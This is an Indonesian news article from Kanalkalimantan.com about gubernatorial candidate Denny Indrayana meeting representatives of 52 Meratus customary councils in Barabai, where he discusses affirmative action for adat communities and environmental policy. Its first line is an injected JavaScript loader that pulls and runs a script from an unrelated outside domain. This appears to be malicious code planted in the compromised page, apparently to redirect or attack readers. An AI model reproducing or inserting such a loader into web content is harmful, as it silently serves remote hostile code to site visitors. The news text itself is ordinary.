(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Politik

Bertemu 52 Balai Adat Pegunungan Meratus, Denny Indrayana Sebut Kalsel Kalah Langkah

KANALKALIMANTAN.COM, BARABAI– Berbagai konsolidasi terus dilakukan kandidat calon gubernur Kalsel Denny Indrayana. Kali ini, mantan Wamenkumham era Presiden SBY tersebut bertemu perwakilan 52 balai adat pegunungan Meratus, dalam acara” Silaturahmi dan Diskusi Bersama Cagub Kalsel dan Cabup-Cawabup HST” di hotel Fusfa, Barabai, Jumat (17/1/2020) malam pukul 20.00 Wita.

Pada pertemuan yang dihadiri tokoh adat, aktivis, dan relawan, Haji Denny– sapaan Denny Indrayana, mengatakan perlunya kebijakan aksi afirmasi oleh pemerintah untuk eksistensi masyarakat adat. Langkah aksi afirmatif atau yang juga dikenal sebagai diskriminasi positif tersebut, terutama untuk melindungi hak-hak warga adat. “Tanpa affirmative action, akan ada persaingan tidak sehat antara masyarakat adat dengan kelompok lain yang lebih memiliki akses atas pembangunan,” katanya.

Haji Denny mengatakan, saat ini masyarakat adat masih memerlukan hak-hak dasar terkait kesehatan, pendidikan, lapangan kerja, dan juga hak atas tanah dan lainnya. Di sinilah menurut pakar hukum tata negara ini, pemerintah perlu hadir. “Pada level pusat kita perlu UU, untuk Provinsi perlu adanya Perda soal adat. Nah, kita di Kalsel saat ini belum punya. Jadi masih kalah langkah dengan Kaltim yang sudah memiliki perda soal adat,” jelasnya.

Terkait isu lingkungan yang kerab berhadapan dengan masyarakat adat, seperti save Meratus, masifnya kerusakan lingkungan akibat industri, bisa diselesiakan jika Pemprov Kalsel punya visi yang jelas. “Maka itu, ketika pusat membuat kebijakan menghilangkan AMDAL untuk mendorong investasi, itu pendekatan yang keliru,” tegas Haji Denny yang sempat raih penghargaan Bintang Mahaputra 2014 ini.

Baginya, hal tersebut berpangkal dari hadirnya kepemimpinan yang amanah. “Sebab jika kebijakan sejak awal didasarkan pada politik transaksional, money politic, rakyatlah yang justru menjadi korban,” tegasnya.

Sementara itu, Robbi Prasetyo dari Aliansi Masyarakat Adat Nasional (AMAN) HST, bangga dengan komitmen Haji Denny dalam memajukan dan melundungi hak masyarakat adat. “Sejak awal kami telah berkomitmen menghadirkan perubahan yang lebih baik. Dan kami bangga memiliki kandidat peduli dengan masyarakat adat terutama untuk menjaga kelestarian Meratus,” ungkapnya. (Kanalkalimantan.com/Rilis)

Editor : Cell